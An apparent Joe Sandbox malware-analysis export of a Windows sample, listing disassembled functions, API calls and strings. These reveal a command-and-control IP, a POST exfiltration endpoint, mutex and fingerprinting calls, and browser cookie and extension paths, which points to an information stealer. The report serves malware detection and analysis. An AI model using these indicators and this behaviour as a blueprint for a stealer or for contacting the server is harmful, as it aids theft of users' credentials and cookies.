Associated: 00000017.00000002.2744745377.00000000002CA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744780989.00000000002CB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744872211.00000000002CC000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2c0000_rapnewsa.jbxd

Similarity

API ID: InfoSystem
String ID: q2,
API String ID: 31276548-1977279463
Opcode ID: 25ad2b0ab2ce64ca51f34b66d374439bdee96eda7ad683cbb3a254ace98418bc
Instruction ID: e77791923c1b178b8bde7abc6768b80d21f3ab662a2dc8dc30610239e252bb3b
Opcode Fuzzy Hash: 25ad2b0ab2ce64ca51f34b66d374439bdee96eda7ad683cbb3a254ace98418bc
Instruction Fuzzy Hash: EDD0A97490520C8BCB00DF90D84889AB7FDAB48204F0081A4DC4C47300EA32A9128BD1

Function 002C3D50 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2744616304.00000000002C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000017.00000002.2744522121.00000000002C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744745377.00000000002CA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744780989.00000000002CB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744872211.00000000002CC000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2c0000_rapnewsa.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: aff3bf203213e3ffffd20615bcfe2e4d16dffa8ae5426f080bec32a5c75d23b9
Instruction ID: 3df805bcf11f3f5737b13c94422149d0af67da5f15029f59ff0ca1c92982ced3
Opcode Fuzzy Hash: aff3bf203213e3ffffd20615bcfe2e4d16dffa8ae5426f080bec32a5c75d23b9
Instruction Fuzzy Hash: 3F41F130A04245DBDB04CFA4D852FA9BBB6AB85300F2486ACE5054B7DAD776DF22DB50

Function 002C2810 Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 90
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0u, xrefs: 002C2824
45.125.66.18, xrefs: 002C28A2
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.4, xrefs: 002C283D
0u0u, xrefs: 002C2873, 002C2876
0u0u, xrefs: 002C2848, 002C284E, 002C2864, 002C2879, 002C288E, 002C28A7, 002C28B4, 002C28BA, 002C28C9, 002C28DC, 002C28E1, 002C28EF, 002C2902, 002C2908, 002C28CC, 002C28F2
`, xrefs: 002C281D

Memory Dump Source

Source File: 00000017.00000002.2744616304.00000000002C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000017.00000002.2744522121.00000000002C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744745377.00000000002CA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744780989.00000000002CB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744872211.00000000002CC000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2c0000_rapnewsa.jbxd

Similarity

API ID:
String ID: 0u$0u0u$0u0u$45.125.66.18$Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.4$`
API String ID: 0-2265949662
Opcode ID: 246dab2c0c077406006ee31f18edc054d999c4aa49dc5c436772e8ad964fcb59
Instruction ID: a1ef4831213b2e4fff8f378288b585d1017f0a7749b56c92f562b8b0a9c729e8
Opcode Fuzzy Hash: 246dab2c0c077406006ee31f18edc054d999c4aa49dc5c436772e8ad964fcb59
Instruction Fuzzy Hash: 73310675650308EFE710CF50DC4AFA9BB65AB08741F20C248FA09AF2D0C7B5AA85CB95

Function 002C1D30 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 85
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateMutexA.KERNELBASE(00000000,00000000,082e2202-17f7-4654-a651-ac9a3778e1d7), ref: 002C1D43
GetLastError.KERNEL32 ref: 002C1D52
Sleep.KERNELBASE(00001388), ref: 002C1E1C
CloseHandle.KERNEL32(00000000), ref: 002C1E3A
ExitProcess.KERNEL32 ref: 002C1E42

Strings

082e2202-17f7-4654-a651-ac9a3778e1d7, xrefs: 002C1D3A

Memory Dump Source

Source File: 00000017.00000002.2744616304.00000000002C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000017.00000002.2744522121.00000000002C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744745377.00000000002CA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744780989.00000000002CB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744872211.00000000002CC000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2c0000_rapnewsa.jbxd

Similarity

API ID: CloseCreateErrorExitHandleLastMutexProcessSleep
String ID: 082e2202-17f7-4654-a651-ac9a3778e1d7
API String ID: 168847217-1460249064
Opcode ID: 0c446571103aac71dd8d0aa3ea9a22ff7e5ac839dbfb8f3f43a5a864172c0adb
Instruction ID: b3b481e271f916456f26ad6dbbfc955c16c64c74854772c1c444a13c37d84850
Opcode Fuzzy Hash: 0c446571103aac71dd8d0aa3ea9a22ff7e5ac839dbfb8f3f43a5a864172c0adb
Instruction Fuzzy Hash: 6831C1B1C102199BDB24DFA4AC4BFED7775AB05344F10426EE905B2182DB709A74DBA2

Function 002C2E60 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 165
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 002C30A4

Part of subcall function 002C1EA0: RtlAllocateHeap.NTDLL(030F0000,00000008,002C3D82), ref: 002C1EB0

Strings

POST, xrefs: 002C2F41
/api/receiver/recv, xrefs: 002C2F3C
Content-Type: application/octet-stream, xrefs: 002C304F

Memory Dump Source

Source File: 00000017.00000002.2744616304.00000000002C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000017.00000002.2744522121.00000000002C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744745377.00000000002CA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744780989.00000000002CB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744872211.00000000002CC000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2c0000_rapnewsa.jbxd

Similarity

API ID: AllocateHeapSleep
String ID: /api/receiver/recv$Content-Type: application/octet-stream$POST
API String ID: 4201116106-1595302217
Opcode ID: a2debb93d20603d0cbf1be862071cce3b593672e4fdae44b9e880211d9e66e5a
Instruction ID: b01c3b2c952f7d1a91513ddcbd411ecdb2e27e962a1ef9f9e6d02884b5f3dc2e
Opcode Fuzzy Hash: a2debb93d20603d0cbf1be862071cce3b593672e4fdae44b9e880211d9e66e5a
Instruction Fuzzy Hash: 477137B8A10219EBCB14CF44D544FB9BBB1BF48314F20869CE9465B381DB75EE91DB90

Function 002C8CC0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 20
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(e2,,002C3265,G1,,?,?,?,?,?,?,?,?,?,002C3147), ref: 002C8CCA
__aulldiv.LIBCMT ref: 002C8CE3

Strings

e2,, xrefs: 002C8CC6, 002C8CC9

Memory Dump Source

Source File: 00000017.00000002.2744616304.00000000002C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000017.00000002.2744522121.00000000002C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744745377.00000000002CA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744780989.00000000002CB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744872211.00000000002CC000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2c0000_rapnewsa.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem__aulldiv
String ID: e2,
API String ID: 3833932492-1861609547
Opcode ID: 33a1ce124583944728548c4533c5adcdcc21fc969c2e9bf5501d6220678ed151
Instruction ID: 59855e879fdc9b38d5571757cd348e8ab9ff80655a7f88af399870c41688b478
Opcode Fuzzy Hash: 33a1ce124583944728548c4533c5adcdcc21fc969c2e9bf5501d6220678ed151
Instruction Fuzzy Hash: D2E08C38600208B7CB00DFE0DC4AF9A777CAB48700F0082ADB948A7280EF31AA11C7E5

Function 002C3EF0 Relevance: 3.8, APIs: 3, Instructions: 35
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00000015,00003000,00000040,?,002C3D5B,?,002C1D86,?), ref: 002C3EFE
VirtualAlloc.KERNELBASE(00000000,00000015,00003000,00000040,?,002C3D5B,?,002C1D86,?), ref: 002C3F21

Memory Dump Source

Source File: 00000017.00000002.2744616304.00000000002C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000017.00000002.2744522121.00000000002C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744745377.00000000002CA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744780989.00000000002CB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744872211.00000000002CC000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2c0000_rapnewsa.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: d1468792b017f81959ab1531245ecae14faa1fdb472ffacf11f484f473aaf2f7
Instruction ID: 2f0e3211629d8106317125bd18f8e707b94b575f45507207d681375e2cb8c279
Opcode Fuzzy Hash: d1468792b017f81959ab1531245ecae14faa1fdb472ffacf11f484f473aaf2f7
Instruction Fuzzy Hash: 34F03A30AA9304EEEB629B21BC9FF1536B49308B16F104C2CB30EAE5D0F3F492508A15

Function 002C12F0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 43
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetFolderPathW.SHELL32(00000000,000000FF,00000000,00000000,)',@), ref: 002C1321

Strings

)',@, xrefs: 002C12FB, 002C1332, 002C133D, 002C1355, 002C1307, 002C1315, 002C1310, 002C1346, 002C1358

Memory Dump Source

Source File: 00000017.00000002.2744616304.00000000002C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000017.00000002.2744522121.00000000002C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744745377.00000000002CA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744780989.00000000002CB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744872211.00000000002CC000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2c0000_rapnewsa.jbxd

Similarity

API ID: FolderPath
String ID: )',@
API String ID: 1514166925-2391885299
Opcode ID: ee8534db309767c52014aa6ed316aff66e8295cccd2f990a7023df8f83ed39fb
Instruction ID: 027a9be010f3744f8e2c5a3ef07896446dc79c9c6ae15b1bf13461b1b2c48d24
Opcode Fuzzy Hash: ee8534db309767c52014aa6ed316aff66e8295cccd2f990a7023df8f83ed39fb
Instruction Fuzzy Hash: EF015EB0610208BBD708CF44CC56FEA7368EB45318F14C3A8FA194B2C2D675AA60CB94

Function 002C2C09 Relevance: 3.1, APIs: 2, Instructions: 122
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 002C91D0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 002C91FE

ExitProcess.KERNEL32 ref: 002C2C96
ExitProcess.KERNEL32 ref: 002C2CBE

Memory Dump Source

Source File: 00000017.00000002.2744616304.00000000002C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000017.00000002.2744522121.00000000002C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744745377.00000000002CA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744780989.00000000002CB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744872211.00000000002CC000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2c0000_rapnewsa.jbxd

Similarity

API ID: ExitProcess$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 2431947247-0
Opcode ID: efdd7d58ceddfecb33694ffa19bca7c476883413c49b7b20bbc83647426947ef
Instruction ID: 4b6149f2f49e064ad14695cb8f21b6ec8fab0b640d4c49cd16829ab6e9f3e016
Opcode Fuzzy Hash: efdd7d58ceddfecb33694ffa19bca7c476883413c49b7b20bbc83647426947ef
Instruction Fuzzy Hash: 40514774910209EFDB18CF84C598FADB7B1BF54304F208299E5066B291CBB59F99DF90

Function 002C8C70 Relevance: 3.0, APIs: 2, Instructions: 12
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserCallbackDispatcher.NTDLL(00000000), ref: 002C8C75
GetSystemMetrics.USER32(00000001), ref: 002C8C86

Memory Dump Source

Source File: 00000017.00000002.2744616304.00000000002C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000017.00000002.2744522121.00000000002C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744745377.00000000002CA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744780989.00000000002CB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744872211.00000000002CC000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2c0000_rapnewsa.jbxd

Similarity

API ID: CallbackDispatcherMetricsSystemUser
String ID:
API String ID: 365337688-0
Opcode ID: 77c0ac851482324f44ee2d7418482572d94634f3d18931cd1100d53b80422982
Instruction ID: a7fca18ec52aa364c9eef8aac81cbc6bb622f2f3cd1de29d647a08562b8b1040
Opcode Fuzzy Hash: 77c0ac851482324f44ee2d7418482572d94634f3d18931cd1100d53b80422982
Instruction Fuzzy Hash: 69D0C93414430CEFD700DF90E80DB94BBA8FB48795F10C176ED4D4A381DAB255418BE6

Function 002C1110 Relevance: 1.6, APIs: 1, Instructions: 147
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNEL32(?), ref: 002C12CC

Memory Dump Source

Source File: 00000017.00000002.2744616304.00000000002C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000017.00000002.2744522121.00000000002C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744745377.00000000002CA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744780989.00000000002CB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744872211.00000000002CC000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2c0000_rapnewsa.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 1336376b9593dce3b043d9c3d14d318938f3a34154b2cfb19cbdf7b27b41bcbf
Instruction ID: bc90519e0ccde8973141a3d87c286ee01625f87f21f27b5450c386ac3bd19cf1
Opcode Fuzzy Hash: 1336376b9593dce3b043d9c3d14d318938f3a34154b2cfb19cbdf7b27b41bcbf
Instruction Fuzzy Hash: EF51D6B8914158ABCB00DF94C491FEEBBB6AF45304F08829CE8499B343C635EAB1CF51

Function 002C1060 Relevance: 1.6, APIs: 1, Instructions: 53
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetFolderPathW.SHELL32(00000000,?,00000000,00000000,-00000209), ref: 002C109E

Memory Dump Source

Source File: 00000017.00000002.2744616304.00000000002C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000017.00000002.2744522121.00000000002C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744745377.00000000002CA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744780989.00000000002CB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744872211.00000000002CC000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2c0000_rapnewsa.jbxd

Similarity

API ID: FolderPath
String ID:
API String ID: 1514166925-0
Opcode ID: 2389390c936fdc79d39432d239a79afb57b1e9c8370977df017eaeff8c7f7313
Instruction ID: a106bde59352282b4e6f2426196761503d4f5a6e701c4865e0c0935bf8ef94a1
Opcode Fuzzy Hash: 2389390c936fdc79d39432d239a79afb57b1e9c8370977df017eaeff8c7f7313
Instruction Fuzzy Hash: 5D1133B5900208BBDB04DF54CC56FAE7775EB44314F14C258F9285B282D6769A51CB90

Function 002C8B90 Relevance: 1.5, APIs: 1, Instructions: 38COMMON

Download Yara Rule

APIs

GetCurrentHwProfileA.ADVAPI32(?), ref: 002C8BA0

Memory Dump Source

Source File: 00000017.00000002.2744616304.00000000002C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000017.00000002.2744522121.00000000002C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744745377.00000000002CA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744780989.00000000002CB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744872211.00000000002CC000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2c0000_rapnewsa.jbxd

Similarity

API ID: CurrentProfile
String ID:
API String ID: 2104809126-0
Opcode ID: c7e5ef45efb01400edbc74e3d504baf42dff680aa453f35ef4846c551958722c
Instruction ID: 0e973a24429624dbf02d33800746aef0bde272e6662271d764f74bd2760eafa9
Opcode Fuzzy Hash: c7e5ef45efb01400edbc74e3d504baf42dff680aa453f35ef4846c551958722c
Instruction Fuzzy Hash: 04F0D1B4910209A7CB04CF58DC91FBE3B79EB40308F20C26DF94596246EB31DA209B50

Function 002C2060 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2744616304.00000000002C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000017.00000002.2744522121.00000000002C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744745377.00000000002CA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744780989.00000000002CB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744872211.00000000002CC000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2c0000_rapnewsa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bdde5e980cf62d680879fd100c733764784921fdebbbf4c41d732b77db0dd4f
Instruction ID: e6a3937721a89bd1b189d22a5d0bd74072ba5d2bdadf600f6e939690498ab0f8
Opcode Fuzzy Hash: 6bdde5e980cf62d680879fd100c733764784921fdebbbf4c41d732b77db0dd4f
Instruction Fuzzy Hash: E9E0D8B1520108FFDF009F50E849F6B3798AB64311F00C519BD0D8B141CB71D964CB50

Function 002C1CA0 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 002C1CD0

Part of subcall function 002C1E50: HeapCreate.KERNELBASE(00000000,00000000,00000000,?,002C1CB1,?,002C1D86,?), ref: 002C1E59

Memory Dump Source

Source File: 00000017.00000002.2744616304.00000000002C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000017.00000002.2744522121.00000000002C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744745377.00000000002CA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744780989.00000000002CB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744872211.00000000002CC000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2c0000_rapnewsa.jbxd

Similarity

API ID: CreateExitHeapProcess
String ID:
API String ID: 611137554-0
Opcode ID: 423d39e9eb2765397140d4078b6dc96445ff1359419e5ef150d03e5cc231e23c
Instruction ID: e8ba1d19e78fe3b6c89983b07bd29dd6c5dac7f206e6009f23a65e547fc34eab
Opcode Fuzzy Hash: 423d39e9eb2765397140d4078b6dc96445ff1359419e5ef150d03e5cc231e23c
Instruction Fuzzy Hash: 6ED0626176070655DA607FB15D17F56368C5E027C4F144729BE09C5163FE15DA308573

Function 002C1EE0 Relevance: 1.5, APIs: 1, Instructions: 17memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(030F0000,00000000,00000000,02E80000), ref: 002C1EFE

Memory Dump Source

Source File: 00000017.00000002.2744616304.00000000002C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000017.00000002.2744522121.00000000002C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744745377.00000000002CA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744780989.00000000002CB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744872211.00000000002CC000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2c0000_rapnewsa.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 2adcc7e9230ea5703907b56f67ef1072d4f0c656ef229a23e39e4e8f8e00239d
Instruction ID: 28acd4fdc32e95b3c92a069a6aa4046bd018c4a6146eb41c3ec2c48865af8665
Opcode Fuzzy Hash: 2adcc7e9230ea5703907b56f67ef1072d4f0c656ef229a23e39e4e8f8e00239d
Instruction Fuzzy Hash: 92E0E27051420CEBDB14CF98E94AFAA7BA8EB09305F104288F90887280E771AE50CB91

Function 002C1E50 Relevance: 1.5, APIs: 1, Instructions: 14memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE(00000000,00000000,00000000,?,002C1CB1,?,002C1D86,?), ref: 002C1E59

Memory Dump Source

Source File: 00000017.00000002.2744616304.00000000002C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000017.00000002.2744522121.00000000002C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744745377.00000000002CA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744780989.00000000002CB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744872211.00000000002CC000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2c0000_rapnewsa.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 06c064ef6a8c2d9405a905ff8f8c5bcd06816ff7da271e3d41ab1ebd7331716a
Instruction ID: f05387c0eb16bf398fc748865a191d6318c5580b118dd291babbeab4f2c6be25
Opcode Fuzzy Hash: 06c064ef6a8c2d9405a905ff8f8c5bcd06816ff7da271e3d41ab1ebd7331716a
Instruction Fuzzy Hash: 79D01230674308EFF7215B60BC4FF113698A709755F100525FE0DC91E1E3F164A08654

Function 002C1EA0 Relevance: 1.5, APIs: 1, Instructions: 10memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(030F0000,00000008,002C3D82), ref: 002C1EB0

Memory Dump Source

Source File: 00000017.00000002.2744616304.00000000002C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000017.00000002.2744522121.00000000002C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744745377.00000000002CA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744780989.00000000002CB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744872211.00000000002CC000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2c0000_rapnewsa.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 34a070a1799fe88a8e60e1b261a06f0a08d43f632c399cacef5a3b0db13b1374
Instruction ID: fc4492932638d6decf0488d3e2d465a09121612378df41621544014cd9999770
Opcode Fuzzy Hash: 34a070a1799fe88a8e60e1b261a06f0a08d43f632c399cacef5a3b0db13b1374
Instruction Fuzzy Hash: 05C04C75160208AFDA059B94FD5AE6A3B9CA749600F444408B60D4B150DB61A8008750

Function 002C2DB0 Relevance: 1.3, APIs: 1, Instructions: 51sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000003E8), ref: 002C2E41

Memory Dump Source

Source File: 00000017.00000002.2744616304.00000000002C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000017.00000002.2744522121.00000000002C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744745377.00000000002CA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744780989.00000000002CB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744872211.00000000002CC000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2c0000_rapnewsa.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: b5959607eabf3454ec8c6635af041bcd0cbdde4240da82071a455c0e17c920ef
Instruction ID: d8bcedaeb3c63ecd477c165c7973f332bfbc56202154c19cb8fa51e2dc5af633
Opcode Fuzzy Hash: b5959607eabf3454ec8c6635af041bcd0cbdde4240da82071a455c0e17c920ef
Instruction Fuzzy Hash: A7116A78920208E7CB04CF44D550EB9B7B5FF58301F208298F80A9B381EB75DEA5E7A0

Function 002C2A60 Relevance: 1.3, APIs: 1, Instructions: 50sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00000001,00000C58,00000001), ref: 002C2AF6

Memory Dump Source

Source File: 00000017.00000002.2744616304.00000000002C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000017.00000002.2744522121.00000000002C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744745377.00000000002CA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744780989.00000000002CB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744872211.00000000002CC000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2c0000_rapnewsa.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 7800f9e1548c3b1a24b78485eda907358a2cbf348c9ba5a8bd60a595d675cfc6
Instruction ID: 827bf82a2691503c819689a946972a4459b6caff791ad1bd6e883b28e8172e4d
Opcode Fuzzy Hash: 7800f9e1548c3b1a24b78485eda907358a2cbf348c9ba5a8bd60a595d675cfc6
Instruction Fuzzy Hash: 5911A024C20219E6CB24DF94D441BBC77B2FF14700F6042ADE9062A6C1EBB99FA4E391

Non-executed Functions

Function 002C1610 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67nativeCOMMON

Download Yara Rule

APIs

NtQueryObject.NTDLL(002C1593,00000001,?,00000000,00000000), ref: 002C166E
NtQueryObject.NTDLL(002C1593,00000001,?,00000000,00000000), ref: 002C1689

Strings

\Local Extensions Settings\, xrefs: 002C169E
\Network\Cookies, xrefs: 002C16B6

Memory Dump Source

Source File: 00000017.00000002.2744616304.00000000002C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000017.00000002.2744522121.00000000002C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
